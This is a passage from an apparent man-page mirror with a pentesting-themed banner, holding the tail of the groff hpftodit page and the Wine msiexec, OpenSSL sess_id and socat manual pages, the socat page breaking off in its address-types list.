Include glyphs in the TFM file that are not included in map-file. A glyph with corresponding Unicode value is given the name uXXXX; a glyph without a Unicode value is included as an unnamed glyph “- - -”. A glyph with a Unicode value in the Private Use Area (0xE000 – 0xF8FF) is also included as an unnamed glyph.

This option provides a simple means of adding Unicode-named and unnamed glyphs to a font without including them in the map file, but it affords little control over which glyphs are placed in a regular font and which are placed in a special font. The presence or absence of the -s option has some effect on which glyphs are included: without it, only the “text” symbol sets are searched for matching glyphs; with it, only the “mathematical” symbol sets are searched. Nonetheless, restricting the symbol sets searched isn’t very selective—many glyphs are placed in both regular and special fonts. Normally, -a should be used only as a last resort.

-d
Dump information about the TFM file to the standard output stream; use this to ensure that a TFM file is a proper match for a font, and that its contents are suitable. The information includes the values of important TFM tags and a listing (by MSL number for Intellifont TFM files or by Unicode value for TrueType TFM files) of the glyphs included in the TFM file. The unit of measure “DU” for some tags indicates design units; there are 8782 design units per em for Intellifont fonts, and 2048 design units per em for TrueType fonts. Note that the accessibility of a glyph depends on its inclusion in a symbol set; some TFM files list many glyphs but only a few symbol sets.

The glyph listing includes the glyph index within the TFM file, the MSL or Unicode value, and the symbol set and character code that will be used to print the glyph. If map-file is given, groff names are given for matching glyphs. If only the glyph index and MSL or Unicode value are given, the glyph does not appear in any supported symbol set and cannot be printed.

With the -d option, map-file is optional, and output-font is ignored if given.

**-i **n
Generate an italic correction for each glyph so that its width plus its italic correction is equal to n thousandths of an em plus the amount by which the right edge of the glyphs’s bounding box is to the right of its origin. If a negative italic correction would result, use a zero italic correction instead.

Also generate a subscript correction equal to the product of the tangent of the slant of the font and four fifths of the x-height of the font. If a subscript correction greater than the italic correction would result, use a subscript correction equal to the italic correction instead.

Also generate a left italic correction for each glyph equal to n thousandths of an em plus the amount by which the left edge of the glyphs’s bounding box is to the left of its origin. The left italic correction may be negative.

This option normally is needed only with italic or oblique fonts; a value of 50 (0.05 em) usually is a reasonable choice.

-q
Suppress warnings about glyphs in the map file that were not found in the TFM file. Warnings never are given for unnamed glyphs or by glyphs named by their Unicode values. This option is useful when sending the output of hpftodit to the standard output stream.

-s
Add the special directive to the font description file, affecting the order in which HP symbol sets are searched for each glyph. Without this option, the “text” sets are searched before the “mathematical” symbol sets. With it, the search order is reversed.

Files

/usr/share/groff/1.23.0/font/devlj4/DESC
describes the lj4 output device.

*/usr/share/groff/1.23.0/font/devlj4/*F
describes the font known as F on device lj4.

/usr/share/groff/1.23.0/font/devlj4/generate/Makefile
is a

script that uses

to prepare the groff font description files above from HP TFM data; in can be used to regenerate them in the event the TFM files are updated.

/usr/share/groff/1.23.0/font/devlj4/generate/special.awk
is an

script that corrects the Intellifont-based height metrics for several glyphs in the S (special) font for TrueType CG Times used in the HP LaserJet 4000 and later.

/usr/share/groff/1.23.0/font/devlj4/generate/special.map
/usr/share/groff/1.23.0/font/devlj4/generate/symbol.map
/usr/share/groff/1.23.0/font/devlj4/generate/text.map
/usr/share/groff/1.23.0/font/devlj4/generate/wingdings.map
map MSL indices and HP Unicode PUA assignments to groff special character identifiers.

See also

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1068 - Linux cli command msiexec-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command msiexec-stable and provides detailed information about the command msiexec-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the msiexec-stable.

NAME 🖥️ msiexec-stable 🖥️

Wine MSI Installer

SYNOPSIS

msiexec command {required parameter} [optional parameter]…

DESCRIPTION

msiexec is the Wine MSI installer, which is command line compatible with its Microsoft Windows counterpart.

INSTALL OPTIONS

/i {package|productcode} [property=foobar]
Install {package|productcode} with property=foobar.

/a {package|productcode} [property=foobar]
Install {package|productcode} in administrator (network) mode.

/x {package|productcode} [property=foobar]
Uninstall {package|productcode} with property=foobar.

/uninstall {package|productcode} [property=foobar]
Same as /x.

REPAIR OPTIONS

/f [p|o|e|d|c|a|u|m|s|v] {package|productcode}
Repair an installation. Default options are ‘omus’

  1. Reinstall the file if it is missing.

  2. Reinstall the file if it is missing or if any older version is installed.

  3. Reinstall the file if it is missing, or if the installed version is equal or older.

  4. Reinstall the file if it is missing or a different version is installed.

  5. Reinstall the file if it is missing or the checksum does not match.

  6. Reinstall all files.

  7. Rewrite all required user registry entries.

  8. Rewrite all required machine registry entries.

  9. Overwrite any conflicting shortcuts.

  10. Recache the local installation package from the source installation package.

PATCHING

/p {patch} [property=foobar]
Apply patch. This should not be used with any of the above options.

UI CONTROL

/q[n|b|r|f]
These options allow changing the behavior of the UI when installing MSI packages.

/q
Show no UI.

/qn
Same as /q.

/qb
Show a basic UI.

/qr
Shows a reduced user UI.

/qf
Shows a full UI.

LOGGING

/l[*][i|w|e|a|r|u|c|m|o|p|v][+|!] {logfile}
Enable logging to logfile. Defaults are ‘iwearmo’.

  • Enable all logging options except ‘v’ and ‘x’.
  1. Log status messages.
  1. Log nonfatal warnings.

  2. Log all error messages.

  3. Log start of actions.

  4. Log action specific records.

  5. Log user requests.

  6. Log initial UI parameters.

  7. Log out of memory errors.

  8. Log out of diskspace messages.

p
Log terminal properties.

v
Verbose logging.

x
Log extra debugging messages.

+
Append logging to existing file.

!
Flush each line to log.

OTHER OPTIONS

/h
Show help.

/j[u|m] {package|productcode} [/t transform] [/g languageid]
Advertise package optionally with /t transform and /g languageid.

/y
Register MSI service.

/z
Unregister MSI service.

/?
Same as /h.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

msiexec is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1069 - Linux cli command openssl-sess_idssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-sess_idssl and provides detailed information about the command openssl-sess_idssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-sess_idssl.

NAME 🖥️ openssl-sess_idssl 🖥️

sess_id - SSL/TLS session handling command

SYNOPSIS

openssl sess_id [-help] [-inform DER|PEM] [-outform DER|PEM|NSS] [-in filename] [-out filename] [-text] [-cert] [-noout] [-context ID]

DESCRIPTION

This command processes the encoded version of the SSL session structure and optionally prints out SSL session details (for example the SSL session master key) in human readable format. Since this is a diagnostic tool that needs some knowledge of the SSL protocol to use properly, most users will not need to use it.

The precise format of the data can vary across OpenSSL versions and is not documented.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM, -outform DER|PEM|NSS
The input and output formats; the default is PEM. See openssl-format-options (1) for details. For NSS output, the session ID and master key are reported in NSS “keylog” format.

-in filename
This specifies the input filename to read session information from or standard input by default.

-out filename
This specifies the output filename to write session information to or standard output if this option is not specified.

-text
Prints out the various public or private key components in plain text in addition to the encoded version.

-cert
If a certificate is present in the session it will be output using this option, if the -text option is also present then it will be printed out in text form.

-noout
This option prevents output of the encoded version of the session.

-context ID
This option can set the session id so the output session information uses the supplied ID. The ID can be any string of characters. This option won’t normally be used.

OUTPUT

Typical output:

SSL-Session: Protocol : TLSv1 Cipher : 0016 Session-ID: 871E62626C554CE95488823752CBD5F3673A3EF3DCE9C67BD916C809914B40ED Session-ID-ctx: 01000000 Master-Key: A7CEFC571974BE02CAC305269DC59F76EA9F0B180CB6642697A68251F2D2BB57E51DBBB4C7885573192AE9AEE220FACD Key-Arg : None Start Time: 948459261 Timeout : 300 (sec) Verify return code 0 (ok)

These are described below in more detail.

Protocol
This is the protocol in use TLSv1.3, TLSv1.2, TLSv1.1, TLSv1 or SSLv3.

Cipher
The cipher used this is the actual raw SSL or TLS cipher code, see the SSL or TLS specifications for more information.

Session-ID
The SSL session ID in hex format.

Session-ID-ctx
The session ID context in hex format.

Master-Key
This is the SSL session master key.

Start Time
This is the session start time represented as an integer in standard Unix format.

Timeout
The timeout in seconds.

Verify return code
This is the return code when an SSL client certificate is verified.

NOTES

Since the SSL session output contains the master key it is possible to read the contents of an encrypted session using this information. Therefore, appropriate security precautions should be taken if the information is being output by a “real” application. This is however strongly discouraged and should only be used for debugging purposes.

BUGS

The cipher and start time should be printed out in human readable form.

SEE ALSO

openssl (1), openssl-ciphers (1), openssl-s_server (1)

COPYRIGHT

Copyright 2000-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1070 - Linux cli command socat1

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command socat1 and provides detailed information about the command socat1, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the socat1.

NAME 🖥️ socat1 🖥️

Multipurpose relay (SOcket CAT)

SYNOPSIS

socat [options] <address> <address>
socat -V
socat -h[h[h]] | -?[?[?]]
filan
procan

DESCRIPTION

Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes.

Filan is a utility that prints information about its active file descriptors to stdout. It has been written for debugging socat, but might be useful for other purposes too. Use the -h option to find more infos.

Procan is a utility that prints information about process parameters to stdout. It has been written to better understand some UNIX process properties and for debugging socat, but might be useful for other purposes too.

The life cycle of a socat instance typically consists of four phases.

In the init phase, the command line options are parsed and logging is initialized.

During the open phase, socat opens the first address and afterwards the second address. These steps are usually blocking; thus, especially for complex address types like socks, connection requests or authentication dialogs must be completed before the next step is started.

In the transfer phase, socat watches both streams’ read and write file descriptors via select() , and, when data is available on one side and can be written to the other side, socat reads it, performs newline character conversions if required, and writes the data to the write file descriptor of the other stream, then continues waiting for more data in both directions.

When one of the streams effectively reaches EOF, the closing phase begins. Socat transfers the EOF condition to the other stream, i.e. tries to shutdown only its write stream, giving it a chance to terminate gracefully. For a defined time socat continues to transfer data in the other direction, but then closes all remaining channels and terminates.

OPTIONS

Socat provides some command line options that modify the behaviour of the program. They have nothing to do with so called address options that are used as parts of address specifications.

-V
Print version and available feature information to stdout, and exit.

-h | -?
Print a help text to stdout describing command line options and available address types, and exit.

-hh | -??
Like -h, plus a list of the short names of all available address options. Some options are platform dependend, so this output is helpful for checking the particular implementation.

-hhh | -???
Like -hh, plus a list of all available address option names.

-d
Without this option, only fatal, error, and warning messages are printed; applying this option also prints notice messages. See DIAGNOSTICS for more information.

-d0
With this option, only fatal and error messages are printed; this restores the behaviour of socat up to version 1.7.4.

-d -d | -dd | -d2
Prints fatal, error, warning, and notice messages.

-d -d -d | -ddd | -d3
Prints fatal, error, warning, notice, and info messages.

-d -d -d -d | -dddd | -d4
Prints fatal, error, warning, notice, info, and debug messages.

-D
Logs information about file descriptors before starting the transfer phase.

–experimental
New features that are not well tested or are subject to change in the future must me explicitely enabled using this option.

-ly[<facility>]
Writes messages to syslog instead of stderr; severity as defined with -d option. With optional <facility>, the syslog type can be selected, default is “daemon”. Third party libraries might not obey this option.

-lf<logfile>
Writes messages to <logfile> [filename] instead of stderr. Some third party libraries, in particular libwrap, might not obey this option.

-ls
Writes messages to stderr (this is the default). Some third party libraries might not obey this option, in particular libwrap appears to only log to syslog.

-lp<progname>
Overrides the program name printed in error messages and used for constructing environment variable names.

-lu
Extends the timestamp of error messages to microsecond resolution. Does not work when logging to syslog.

-lm[<facility>]
Mixed log mode. During startup messages are printed to stderr; when socat starts the transfer phase loop or daemon mode (i.e. after opening all streams and before starting data transfer, or, with listening sockets with fork option, before the first accept call), it switches logging to syslog. With optional <facility>, the syslog type can be selected, default is “daemon”.

-lh
Adds hostname to log messages. Uses the value from environment variable HOSTNAME or the value retrieved with uname()`` if HOSTNAME is not set.

-v
Writes the transferred data not only to their target streams, but also to stderr. The output format is text with some conversions for readability, and prefixed with “> " or “< " indicating flow directions.

-x
Writes the transferred data not only to their target streams, but also to stderr. The output format is hexadecimal, prefixed with “> " or “< " indicating flow directions. Can be combined with -v .

-r <file>
Dumps the raw (binary) data flowing from left to right address to the given file. The file name may contain references to environment variables and $$ (pid), $PROGNAME (see option option -lp), $TIMESTAMP (uses format %Y%m%dT%H%M%S), and MICROS (microseconds of daytime). These references have to be protected from shell expansion of course.

-R <file>
Dumps the raw (binary) data flowing from right to left address to the given file. See option -r for customization of file name.

-b<size>
Sets the data transfer block <size> [size_t]. At most <size> bytes are transferred per step. Default is 8192 bytes.

-s
By default, socat terminates when an error occurred to prevent the process from running when some option could not be applied. With this option, socat is sloppy with errors and tries to continue. Even with this option, socat will exit on fatals, and will abort connection attempts when security checks failed.

-S<signals-bitmap>
Changes the set of signals that are caught by socat just for printing an log message. This catching is useful to get the information about the signal into socats log, but prevents core dump or other standard actions. The default set of these signals is SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGABRT, SIGBUS, SIGFPE, SIGSEGV, and SIGTERM; replace this set (0x89de on Linux) with a bitmap (e.g., SIGFPE has value 8 and its bit is 0x0080).
Note: Signals SIGHUP, SIGINT, SIGQUIT, SIGUSR1, SIGPIPE, SIGALRM, SIGTERM, and SIGCHLD may be handled specially anyway.

-t<timeout>
When one channel has reached EOF, the write part of the other channel is shut down. Then, socat waits <timeout> [timeval] seconds before terminating. Default is 0.5 seconds. This timeout only applies to addresses where write and read part can be closed independently. When during the timeout interval the read part gives EOF, socat terminates without awaiting the timeout.

-T<timeout>
Total inactivity timeout: when socat is already in the transfer loop and nothing has happened for <timeout> [timeval] seconds (no data arrived, no interrupt occurred…) then it terminates. Useful with protocols like UDP that cannot transfer EOF.

-u
Uses unidirectional mode. The first address is only used for reading, and the second address is only used for writing (example).

-U
Uses unidirectional mode in reverse direction. The first address is only used for writing, and the second address is only used for reading.

-g
During address option parsing, don’t check if the option is considered useful in the given address environment. Use it if you want to force, e.g., appliance of a socket option to a serial device.

-L<lockfile>
If lockfile exists, exits with error. If lockfile does not exist, creates it and continues, unlinks lockfile on exit.

-W<lockfile>
If lockfile exists, waits until it disappears. When lockfile does not exist, creates it and continues, unlinks lockfile on exit.

-4
Use IP version 4 in case the addresses do not implicitly or explicitly specify a version. Since version 1.8.0 the default is no preference.

-6
Use IP version 6 in case the addresses do not implicitly or explicitly specify a version.

–statistics

-S
Logs transfer statistics (bytes and blocks counters for both directions) before terminating socat.
See also signal USR1.
This feature is experimental and might change in future versions.

ADDRESS SPECIFICATIONS

With the address command line arguments, the user gives socat instructions and the necessary information for establishing the byte streams.

An address specification usually consists of an address type keyword, zero or more required address parameters separated by ’:’ from the keyword and from each other, and zero or more address options separated by ’,’.

The keyword specifies the address type (e.g., TCP4, OPEN, EXEC). For some keywords there exist synonyms (’-’ for STDIO, TCP for TCP4). Keywords are case insensitive. For a few special address types, the keyword may be omitted: Address specifications starting with a number are assumed to be FD (raw file descriptor) addresses; if a ’/’ is found before the first ’:’ or ’,’, GOPEN (generic file open) is assumed.

The required number and type of address parameters depend on the address type. E.g., TCP4 requires a server specification (name or address), and a port specification (number or service name).

Zero or more address options may be given with each address. They influence the address in some ways. Options consist of an option keyword or an option keyword and a value, separated by ’=’. Option keywords are case insensitive. For filtering the options that are useful with an address type, each option is member of one option group. For each address type there is a set of option groups allowed. Only options belonging to one of these address groups may be used (except with option -g).

Address specifications following the above schema are also called single address specifications. Two single addresses can be combined with “!!” to form a dual type address for one channel. Here, the first address is used by socat for reading data, and the second address for writing data. There is no way to specify an option only once for being applied to both single addresses.

Usually, addresses are opened in read/write mode. When an address is part of a dual address specification, or when option -u or -U is used, an address might be used only for reading or for writing. Considering this is important with some address types.

With socat version 1.5.0 and higher, the lexical analysis tries to handle quotes and parenthesis meaningfully and allows escaping of special characters. If one of the characters ( { [ ’ is found, the corresponding closing character - ) } ] ’ - is looked for; they may also be nested. Within these constructs, socats special characters and strings : , !! are not handled specially. All those characters and strings can be escaped with \ or within "”

ADDRESS TYPES

This section describes the available address types with their keywords, parameters, and semantics.

CREATE:<filename>
Opens <filename> with creat() and uses the file descriptor for writing. This is a write-only address because a file opened with creat cannot be read from. See options -u and -U, and dual addresses.
Flags like O_LARGEFILE cannot be applied. If you need them use OPEN with options create,create.
<filename> must be a valid existing or not existing path. If <filename> is a named pipe, creat() might block; if <filename> refers to a socket, this is an error.
Option groups: FD,REG,NAMED
Useful options: mode, user, group, unlink-early, unlink-late, append
See also: OPEN, GOPEN

DCCP-CONNECT:<host>:<port> (DCCP:<host>:<port>)
Establishes a DCCP connect to the specified <host> [IP address] and <port> [DCCP service] using IP version 4 or 6 depending on address specification, name resolution, or option pf.
Option groups: FD,SOCKET,IP4,IP6,SCTP,CHILD,RETRY
Useful options: bind, connect-timeout, tos, dccp-set-ccid, nonblock, sourceport, retry, readbytes
See also: DCCP4-CONNECT, DCCP6-CONNECT, DCCP-LISTEN, TCP-CONNECT SCTP-CONNECT

DCCP4-CONNECT:<host>:<port> (DCCP4:<host>:<port>)
Like DCCP-CONNECT, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,DCCP,CHILD,RETRY

DCCP6-CONNECT:<host>:<port> (DCCP6:<host>:<port>)
Like DCCP-CONNECT, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,DCCP,CHILD,RETRY

DCCP-LISTEN:<port> (DCCP-L:<port>)
Listens on <port> [DCCP service] and accepts an DCCP connection. The IP version is 4 or the one specified with address option pf, socat option (-4, -6), or environment variable SOCAT_DEFAULT_LISTEN_IP. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,DCCP,RETRY
Useful options: fork, bind, range, max-children, backlog, accept-timeout, dccp-set-sid, su, reuseaddr, retry
See also: DCCP4-LISTEN, DCCP6-LISTEN, TCP-LISTEN, SCTP-LISTEN, DCCP-CONNECT

DCCP4-LISTEN:<port> (DCCP4-L:<port>)
Like DCCP-LISTEN, but only supports IPv4 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,DCCP,RETRY

DCCP6-LISTEN:<port> (DCCP6-L:<port>)
Like DCCP-LISTEN, but only supports IPv6 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6,DCCP,RETRY

EXEC:<command-line>
Forks a sub process that establishes communication with its parent process and invokes the specified program with execvp() . <command-line> is a simple command with arguments separated by single spaces. If the program name contains a ’/’, the part after the last ’/’ is taken as ARGV[0]. If the program name is a relative path, the execvp() semantics for finding the program via $PATH apply. After successful program start, socat writes data to stdin of the process and reads from its stdout using a UNIX domain socket generated by socketpair() per default. (example)
Option groups: FD,SOCKET,EXEC,FORK,TERMIOS
Useful options: path, fdin, fdout, chroot, su, su-d, nofork, socktype, pty, stderr, ctty, setsid, pipes, umask, login, sigint, sigquit, netns
See also: SYSTEM,SHELL

FD:<fdnum>
Uses the file descriptor <fdnum>. It must already exist as valid UN*X file descriptor.
Option groups: FD (TERMIOS,REG,SOCKET)
See also: STDIO, STDIN, STDOUT, STDERR

GOPEN:<filename>
(Generic open) This address type tries to handle any file system entry except directories usefully. <filename> may be a relative or absolute path. If it already exists, its type is checked. In case of a UNIX domain socket, socat connects; if connecting fails, socatassumes a datagram socket and uses sendto() calls. If the entry is not a socket, socatopens it applying the O_APPEND flag. If it does not exist, it is opened with flag O_CREAT as a regular file (example).
Option groups: FD,REG,SOCKET,NAMED,OPEN
See also: OPEN, CREATE, UNIX-CONNECT

IP-SENDTO:<host>:<protocol>
Opens a raw IP socket. Depending on host specification or option pf, IP protocol version 4 or 6 is used. It uses <protocol> to send packets to <host> [IP address] and receives packets from host, ignores packets from other hosts. Protocol 255 uses the raw socket with the IP header being part of the data.
Option groups: FD,SOCKET,IP4,IP6
Useful options: pf, ttl
See also: IP4-SENDTO, IP6-SENDTO, IP-RECVFROM, IP-RECV, UDP-SENDTO, UNIX-SENDTO

INTERFACE:<interface>
Communicates with a network connected on an interface using raw packets including link level data. <interface> is the name of the network interface. Currently only available on Linux.
Option groups: FD,SOCKET
Useful options: pf, type
See also: ip-recv

IP4-SENDTO:<host>:<protocol>
Like IP-SENDTO, but always uses IPv4.
Option groups: FD,SOCKET,IP4

IP6-SENDTO:<host>:<protocol>
Like IP-SENDTO, but always uses IPv6.
Option groups: FD,SOCKET,IP6

IP-DATAGRAM:<address>:<protocol>
Sends outgoing data to the specified address which may in particular be a broadcast or multicast address. Packets arriving on the local socket are checked if their source addresses match RANGE or TCPWRAP options. This address type can for example be used for implementing symmetric or asymmetric broadcast or multicast communications.
Option groups: FD, SOCKET, IP4, IP6, RANGE
Useful options: bind, range, tcpwrap, broadcast, ip-multicast-loop, ip-multicast-ttl, ip-multicast-if, ip-add-membership, ip-add-source-membership, ipv6-join-group, ipv6-join-source-group, ttl, tos, pf
See also: IP4-DATAGRAM, IP6-DATAGRAM, IP-SENDTO, IP-RECVFROM, IP-RECV, UDP-DATAGRAM

IP4-DATAGRAM:<host>:<protocol>
Like IP-DATAGRAM, but always uses IPv4. (example)
Option groups: FD,SOCKET,IP4,RANGE

IP6-DATAGRAM:<host>:<protocol>
Like IP-DATAGRAM, but always uses IPv6. Please note that IPv6 does not know broadcasts.
Option groups: FD,SOCKET,IP6,RANGE

IP-RECVFROM:<protocol>
Opens a raw IP socket of <protocol>. Depending on option pf, IP protocol version 4 or 6 is used. It receives one packet from an unspecified peer and may send one or more answer packets to that peer. This mode is particularly useful with fork option where each arriving packet - from arbitrary peers - is handled by its own sub process. This allows a behaviour similar to typical UDP based servers like ntpd or named.
Please note that the reply packets might be fetched as incoming traffic when sender and receiver IP address are identical because there is no port number to distinguish the sockets.
This address works well with IP-SENDTO address peers (see above). Protocol 255 uses the raw socket with the IP header being part of the data.
See the note about RECVFROM addresses.
Option groups: FD,SOCKET,IP4,IP6,CHILD,RANGE
Useful options: pf, fork, range, ttl, broadcast
See also: IP4-RECVFROM, IP6-RECVFROM, IP-SENDTO, IP-RECV, UDP-RECVFROM, UNIX-RECVFROM

IP4-RECVFROM:<protocol>
Like IP-RECVFROM, but always uses IPv4.
Option groups: FD,SOCKET,IP4,CHILD,RANGE

IP6-RECVFROM:<protocol>
Like IP-RECVFROM, but always uses IPv6.
Option groups: FD,SOCKET,IP6,CHILD,RANGE

IP-RECV:<protocol>
Opens a raw IP socket of <protocol>. Depending on option pf, IP protocol version 4 or 6 is used. It receives packets from multiple unspecified peers and merges the data. No replies are possible, this is a read-only address, see options -u and -U, and dual addresses. It can be, e.g., addressed by socat IP-SENDTO address peers. Protocol 255 uses the raw socket with the IP header being part of the data.
Option groups: FD,SOCKET,IP4,IP6,RANGE
Useful options: pf, range
See also: IP4-RECV, IP6-RECV, IP-SENDTO, IP-RECVFROM, UDP-RECV, UNIX-RECV

IP4-RECV:<protocol>
Like IP-RECV, but always uses IPv4.
Option groups: FD,SOCKET,IP4,RANGE

IP6-RECV:<protocol>
Like IP-RECV, but always uses IPv6.
Option groups: FD,SOCKET,IP6,RANGE

OPEN:<filename>
Opens <filename> using the open() system call (example). This operation fails on UNIX domain sockets.
Note: This address type is rarely useful in bidirectional mode.
Option groups: FD,REG,NAMED,OPEN
Useful options: creat, excl, noatime, nofollow, append, rdonly, wronly, lock, readbytes, ignoreeof
See also: CREATE, GOPEN, UNIX-CONNECT

OPENSSL:<host>:<port>
Tries to establish a SSL connection to <port> [TCP service] on <host> [IP address] using TCP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
NOTE: Up to version 1.7.2.4 the server certificate was only checked for validity against the system certificate store or cafile or capath, but not for match with the server’s name or its IP address. Since version 1.7.3.0 socat checks the peer certificate for match with the <host> parameter or the value of the openssl-commonname option. Socat tries to match it against the certificates subject commonName, and the certificates extension subjectAltName DNS names. Wildcards in the certificate are supported.
Option groups: FD,SOCKET,IP4,IP6,TCP,OPENSSL,RETRY
Useful options: min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, bind, pf, connect-timeout, sourceport, retry
See also: OPENSSL-LISTEN, TCP

OPENSSL-LISTEN:<port>
Listens on tcp <port> [TCP service]. The IP version is 4 or the one specified with pf. When a connection is accepted, this address behaves as SSL server.
Note: You probably want to use the certificate option with this address.
NOTE: The client certificate is only checked for validity against cafile or capath, but not for match with the client’s name or its IP address!
Option groups: FD,SOCKET,IP4,IP6,TCP,LISTEN,OPENSSL,CHILD,RANGE,RETRY
Useful options: pf, min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, fork, bind, range, tcpwrap, su, reuseaddr, retry
See also: OPENSSL, TCP-LISTEN

OPENSSL-DTLS-CLIENT:<host>:<port>
Tries to establish a DTLS connection to <port> [UDP service] on <host> [IP address] using UDP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
Socat checks the peer certificates subjectAltName or commonName against the addresses option openssl-commonname or the host name. Wildcards in the certificate are supported.
Use socat option -b to make datagrams small enough to fit with overhead on the network. Use option -T to prevent indefinite hanging when peer went down quietly.
Option groups: FD,SOCKET,IP4,IP6,OPENSSL,RETRY
Useful options: min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, bind, pf, sourceport, retry, rcvtimeo
See also: OPENSSL-DTLS-SERVER, OPENSSL-CONNECT, UDP-CONNECT

OPENSSL-DTLS-SERVER:<port>
Listens on UDP <port> [UDP service]. The IP version is 4 or the one specified with pf. When a connection is accepted, this address behaves as DTLS server.
Note: You probably want to use the certificate option with this address.
NOTE: The client certificate is only checked for validity against cafile or capath, but not for match with the client’s name or its IP address! Use socat option -b to make datagrams small enough to fit with overhead on the network. Use option -T to prevent indefinite hanging when peer went down quietly.
Option groups: FD,SOCKET,IP4,IP6,LISTEN,OPENSSL,CHILD,RANGE,RETRY
Useful options: pf, min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, fork, bind, range, tcpwrap, su, reuseaddr, retry
rcvtimeo
See also: OPENSSL-DTLS-CLIENT, OPENSSL-LISTEN, UDP-LISTEN

PIPE:<filename>
If <filename> already exists, it is opened. If it does not exist, a named pipe is created and opened. Beginning with socat version 1.4.3, the named pipe is removed when the address is closed (but see option unlink-close
Note: When a pipe is used for both reading and writing, it works as echo service.
Note: When a pipe is used for both reading and writing, and socat tries to write more bytes than the pipe can buffer (Linux 2.4: 2048 bytes), socat might block. Consider using socat option, e.g., -b 2048
Option groups: FD,NAMED,OPEN
Useful options: rdonly, nonblock, group, user, mode, unlink-early
See also: unnamed pipe

PIPE
Creates an unnamed pipe and uses it for reading and writing. It works as an echo, because everything written to it appeares immediately as read data.
Note: When socat tries to write more bytes than the pipe can queue (Linux 2.4: 2048 bytes), socat might block. Consider, e.g., using option -b 2048
Option groups: FD
See also: named pipe, SOCKETPAIR

SOCKETPAIR
